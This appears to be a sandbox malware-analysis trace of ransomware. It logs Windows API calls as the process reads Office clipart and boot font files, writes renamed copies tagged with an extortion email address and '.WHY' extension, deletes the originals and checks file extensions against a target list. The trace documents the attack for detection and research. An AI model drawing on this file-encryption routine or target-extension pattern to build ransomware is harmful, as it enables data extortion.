[0279.298] lstrlenW (lpString="BL00105_.WMF") returned 12 [0279.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0279.374] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=880) returned 1 [0279.375] CloseHandle (hObject=0x258) returned 1 [0279.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x20 [0279.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0279.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0279.502] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.502] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0279.503] GetLastError () returned 0x0 [0279.503] ReadFile (in: hFile=0x3c8, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x370, lpOverlapped=0x0) returned 1 [0279.508] WriteFile (in: hFile=0x15c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x380, lpOverlapped=0x0) returned 1 [0279.513] ReadFile (in: hFile=0x3c8, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0279.514] WriteFile (in: hFile=0x15c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0279.514] SetEndOfFile (hFile=0x15c) returned 1 [0279.514] CloseHandle (hObject=0x15c) returned 1 [0279.522] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.522] SetEndOfFile (hFile=0x3c8) returned 1 [0279.529] CloseHandle (hObject=0x3c8) returned 1 [0279.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0280.136] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0280.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0280.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0280.566] lstrlenW (lpString=".doc") returned 4 [0280.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.566] lstrlenW (lpString=".docx") returned 5 [0280.566] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.566] lstrlenW (lpString=".pdf") returned 4 [0280.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.566] lstrlenW (lpString=".xls") returned 4 [0280.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.566] lstrlenW (lpString=".xlsx") returned 5 [0280.566] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.566] lstrlenW (lpString=".ppt") returned 4 [0280.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0280.567] lstrlenW (lpString=".zip") returned 4 [0280.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.567] lstrlenW (lpString=".rar") returned 4 [0280.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.567] lstrlenW (lpString=".bz2") returned 4 [0280.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.567] lstrlenW (lpString=".7z") returned 3 [0280.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0280.568] lstrlenW (lpString=".dbf") returned 4 [0280.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0280.568] lstrlenW (lpString=".1cd") returned 4 [0280.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0280.568] lstrlenW (lpString=".jpg") returned 4 [0280.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0280.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0280.569] lstrlenW (lpString=".doc") returned 4 [0280.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.570] lstrlenW (lpString=".docx") returned 5 [0280.570] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.570] lstrlenW (lpString=".pdf") returned 4 [0280.570] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.571] lstrlenW (lpString=".xls") returned 4 [0280.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.571] lstrlenW (lpString=".xlsx") returned 5 [0280.571] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.571] lstrlenW (lpString=".ppt") returned 4 [0280.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0280.571] lstrlenW (lpString=".zip") returned 4 [0280.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.571] lstrlenW (lpString=".rar") returned 4 [0280.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.572] lstrlenW (lpString=".bz2") returned 4 [0280.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.574] lstrlenW (lpString=".7z") returned 3 [0280.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0280.574] lstrlenW (lpString=".dbf") returned 4 [0280.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0280.574] lstrlenW (lpString=".1cd") returned 4 [0280.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0280.575] lstrlenW (lpString=".jpg") returned 4 [0280.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.575] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0280.576] lstrlenW (lpString="BL00195_.WMF") returned 12 [0280.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0280.812] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=8070) returned 1 [0280.812] CloseHandle (hObject=0x394) returned 1 [0280.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x20 [0280.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0280.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0280.813] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0280.814] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0280.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0280.815] GetLastError () returned 0x0 [0280.815] ReadFile (in: hFile=0x394, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x1f86, lpOverlapped=0x0) returned 1 [0280.822] WriteFile (in: hFile=0x388, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x1f90, lpOverlapped=0x0) returned 1 [0280.826] ReadFile (in: hFile=0x394, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0280.826] WriteFile (in: hFile=0x388, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0280.829] SetEndOfFile (hFile=0x388) returned 1 [0280.829] CloseHandle (hObject=0x388) returned 1 [0280.834] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0280.834] SetEndOfFile (hFile=0x394) returned 1 [0281.291] CloseHandle (hObject=0x394) returned 1 [0281.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0281.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0281.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0281.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0281.353] lstrlenW (lpString=".doc") returned 4 [0281.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.354] lstrlenW (lpString=".docx") returned 5 [0281.354] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.354] lstrlenW (lpString=".pdf") returned 4 [0281.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.354] lstrlenW (lpString=".xls") returned 4 [0281.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.354] lstrlenW (lpString=".xlsx") returned 5 [0281.354] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.354] lstrlenW (lpString=".ppt") returned 4 [0281.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0281.355] lstrlenW (lpString=".zip") returned 4 [0281.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.355] lstrlenW (lpString=".rar") returned 4 [0281.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.355] lstrlenW (lpString=".bz2") returned 4 [0281.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.355] lstrlenW (lpString=".7z") returned 3 [0281.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0281.355] lstrlenW (lpString=".dbf") returned 4 [0281.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0281.357] lstrlenW (lpString=".1cd") returned 4 [0281.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0281.357] lstrlenW (lpString=".jpg") returned 4 [0281.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0281.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0281.357] lstrlenW (lpString=".doc") returned 4 [0281.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.358] lstrlenW (lpString=".docx") returned 5 [0281.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.358] lstrlenW (lpString=".pdf") returned 4 [0281.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.358] lstrlenW (lpString=".xls") returned 4 [0281.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.358] lstrlenW (lpString=".xlsx") returned 5 [0281.358] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.358] lstrlenW (lpString=".ppt") returned 4 [0281.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0281.358] lstrlenW (lpString=".zip") returned 4 [0281.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.359] lstrlenW (lpString=".rar") returned 4 [0281.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.359] lstrlenW (lpString=".bz2") returned 4 [0281.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.359] lstrlenW (lpString=".7z") returned 3 [0281.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0281.359] lstrlenW (lpString=".dbf") returned 4 [0281.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0281.360] lstrlenW (lpString=".1cd") returned 4 [0281.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0281.360] lstrlenW (lpString=".jpg") returned 4 [0281.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.361] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0281.362] lstrlenW (lpString="BL00247_.WMF") returned 12 [0281.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0281.363] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=14444) returned 1 [0281.364] CloseHandle (hObject=0x3a0) returned 1 [0281.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x20 [0281.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0281.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0281.365] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0281.365] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0281.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0281.367] GetLastError () returned 0x0 [0281.367] ReadFile (hFile=0x3a0, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0) Thread: id = 39 os_tid = 0x65c [0206.663] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10000) returned 0x3b30268 [0206.664] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10000) returned 0x3b40270 [0206.665] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9248 [0206.665] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x6) returned 0x641560 [0206.665] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9290 [0206.666] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x100000) returned 0x3d20020 [0206.666] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9278 [0206.666] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e9278, Size=0x20) returned 0x620390 [0206.666] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9278 [0206.666] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e9278, Size=0x20) returned 0x620318 [0206.667] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0206.667] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0206.667] Wow64DisableWow64FsRedirection (in: OldValue=0x316ff58 | out: OldValue=0x316ff58*=0x0) returned 1 [0206.667] lstrlenW (lpString="kernel32.dll") returned 12 [0206.667] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620390 | out: hHeap=0x590000) returned 1 [0206.667] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0206.667] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620318 | out: hHeap=0x590000) returned 1 [0206.668] Sleep (dwMilliseconds=0x64) [0207.142] Sleep (dwMilliseconds=0x64) [0207.436] Sleep (dwMilliseconds=0x64) [0207.943] lstrcmpiW (lpString1=".ttf", lpString2=".WHY") returned -1 [0207.943] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0207.943] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0208.472] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1984228) returned 1 [0208.472] CloseHandle (hObject=0x290) returned 1 [0208.472] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0208.472] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0208.472] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0208.473] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0208.473] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0208.473] lstrlenW (lpString=".doc") returned 4 [0208.473] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0208.473] lstrlenW (lpString=".docx") returned 5 [0208.473] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0208.473] lstrlenW (lpString=".pdf") returned 4 [0208.473] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0208.473] lstrlenW (lpString=".xls") returned 4 [0208.473] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0208.473] lstrlenW (lpString=".xlsx") returned 5 [0208.473] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0208.473] lstrlenW (lpString=".ppt") returned 4 [0208.474] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0208.474] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0208.474] lstrlenW (lpString=".zip") returned 4 [0208.474] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0208.474] lstrlenW (lpString=".rar") returned 4 [0208.474] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0208.474] lstrlenW (lpString=".bz2") returned 4 [0208.474] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0208.474] lstrlenW (lpString=".7z") returned 3 [0208.474] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0208.474] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0208.474] lstrlenW (lpString=".dbf") returned 4 [0208.474] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0208.474] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0208.474] lstrlenW (lpString=".1cd") returned 4 [0208.475] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0208.475] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0208.475] lstrlenW (lpString=".jpg") returned 4 [0208.475] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0208.475] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0208.475] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0208.475] lstrlenW (lpString=".doc") returned 4 [0208.475] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0208.475] lstrlenW (lpString=".docx") returned 5 [0208.475] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0208.475] lstrlenW (lpString=".pdf") returned 4 [0208.475] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0208.476] lstrlenW (lpString=".xls") returned 4 [0208.476] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0208.476] lstrlenW (lpString=".xlsx") returned 5 [0208.476] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0208.476] lstrlenW (lpString=".ppt") returned 4 [0208.476] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0208.476] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0208.476] lstrlenW (lpString=".zip") returned 4 [0208.476] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0208.476] lstrlenW (lpString=".rar") returned 4 [0208.476] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0208.476] lstrlenW (lpString=".bz2") returned 4 [0208.476] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0208.476] lstrlenW (lpString=".7z") returned 3 [0208.477] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0208.477] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0208.477] lstrlenW (lpString=".dbf") returned 4 [0208.477] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0208.477] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0208.477] lstrlenW (lpString=".1cd") returned 4 